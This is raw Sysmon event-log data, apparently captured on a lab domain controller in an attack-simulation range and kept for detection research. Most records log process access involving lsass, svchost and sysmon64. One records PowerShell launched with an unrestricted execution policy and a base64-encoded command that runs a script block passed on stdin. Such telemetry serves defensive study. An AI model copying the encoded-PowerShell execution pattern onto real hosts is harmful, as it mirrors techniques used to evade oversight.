10341000x80000000000000003160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.491{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-2902-5F80-9B00-000000007F01}43042660C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-2902-5F80-9C00-000000007F01}37924036C:\Windows\system32\cmd.exe{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.472{A5F018FF-2902-5F80-9D00-000000007F01}4232C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2902-5F80-9C00-000000007F01}3792C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.460{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 